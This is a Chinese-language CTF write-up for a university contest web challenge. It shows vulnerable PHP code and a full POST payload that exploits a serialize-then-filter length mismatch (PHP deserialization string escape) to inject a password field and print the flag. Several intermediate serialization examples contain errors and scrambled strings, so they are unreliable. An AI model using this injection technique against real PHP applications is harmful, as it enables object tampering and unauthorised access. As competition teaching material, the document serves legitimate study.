中北大学第二届CTF的WEB模块第一题
题目代码
<?php
include_once 'flag.php';
highlight_file(__FILE__);
// Security filtering function
function filter($str){
return str_replace('secure', 'secured', $str);
}
class Hacker{
public $username = 'margin';
public $password = 'margin123';
}
$h = new Hacker();
if (isset($_POST['username']) && isset($_POST['password'])){
// Security filtering
$h->username = $_POST['username'];
$c = unserialize(filter(serialize($h)));
if ($c->password === 'hacker'){
echo $flag;
}
}
预备知识
- isset():检测变量是否已设置并且非 null
- string serialize ( mixed $value ):序列化函数,通过这个函数将多个键值对组合为一个字符串,有利于存储或者传递PHP值,示例如下:
<?php
$g = array('username' => 'gggxx' , 'password' => 'xxxmm');
//序列化数组
$s = serialize($g);
echo $s;
//输出结果:g:2:{s:8:"username";s:5:"gggxx";s:8:"password";s:5:"xxxmm";}
?>
- str_replace(“world”,“W”,“Hello world!”):字符串替换函数,将Hello World中的word替换成W
- unserialize():反序列化函数,相当于序列化函数的逆运算,根据序列化后的字符串求出PHP的键值
思考过程
- 首先看函数部分,也就是if函数,函数中每一步的作用我会在代码旁以注释的形式标明。
class Hacker{
public $username = 'margin';
public $password = 'margin123';
}
$h = new Hacker();//创建Hacker对象
if (isset($_POST['username']) && isset($_POST['password'])){//通过POST方式获取username与password对应的值($_POST['']),并且两个值都不为null(isset函数)
// Security filtering
$h->username = $_POST['username'];//将接收到的username值赋值给上面h的username
$c = unserialize(filter(serialize($h)));//将h依次进行进行序列化、字符串替换、以及反序列化等操作,并将反序列化后的PHP值赋给c。注意:这里的h相当于接收到的username
if ($c->password === 'hacker'){
echo $flag;//如果c的password值等于'hacker',那么就输出flag值
}
}
- 通过上面对代码的讲解就可以得知,最后判断是否输出flag,依靠的是c的password值,c是由h经过序列化、字符串替换、反序列化三个操作得出的,而h是由我们传的username值得到的。
- 也就是username–>h.username–>c–>password,所以我们可以得出结论,1.flag的输出与我们传入的password的值无关,只与传的username有关,但是password必须为非空 2.c的password值是由我们传入的username中得到的。
- 接下来就是看怎么将password的值放入username的值中了,因为h经过了序列化、字符串替换以及反序列化操作,所以这里想到了PHP的反序列化溢出。序列化结果的格式如下:
//序列化结果格式:{s:字符串长度:字符串;s:字符串长度:字符串;}
h:2:{s:8:"username";s:5:"gggxx";s:8:"password";s:5:"xxxmm";}
序列化中的字符串长度是多长,反序列化时它就会将多长的字符串取出,结合代码中的字符串替换函数,替换函数中每次将secure替换成了secured,也就是每次替换字符串的长度增加了1,序列化后字符串的长度进行增加。所以原本应该被username取到的部分字符串就会出现没有被username取到的情况,我们可以将溢出的部分字符串变为已经设置好的序列化后的password,然后反序列化时自然而然地会将我们加入都password赋值给c,这时就会出现password。代码如下:
在POST请求中:username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=yyyy
需要反序列化的为变量h,也就是:username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=margin123(h的初始密码)
//我们需要将";s:8:"password";s:6:"hacker";}加入到username中,这部分为需要溢出的字符串,一共为31位,所以我们需要在前面添加31位secure,这样在反序列化时会自动加上password=hacker,&后的password的值任意。
一步步解析:
假设"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}"这段字符串的长度为len
1.序列化结果:
{s:8:"username";s:len:"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}";s:8:"passsword";s:8:"margin123"}
2.字符串替换(执行filter()函数)后的结果:
字符串变成了:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuresedcuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuredsecured";s:8:"password";s:6:"hacker";}"长度为len+31,31为";s:8:"password";s:6:"hacker";}的长度
序列化结果变为:
{s:8:"username";s:len:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuresedcuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuredsecured";s:8:"password";s:6:"hacker";};s:8,"password";s:8:"margin123";}
3.反序列化结果:
由于hacker后有一个},所以只看}前面的内容,也就是username="securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuresedcuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuresedcuresedcuredsecured" password=hacker
这里password与hacker成功地进行了注入,他们都是传入的username得到的,但是也有了password,所以可以反序列化赋值给c
赛后总结
总而言之就是通过secure字符串的替换,使得序列化中username的实际长度变长,占用了原有的部分字符串的位置,而这些字符串可以自己构造成password,从而反序列化读出。
附一张得到flag的截图: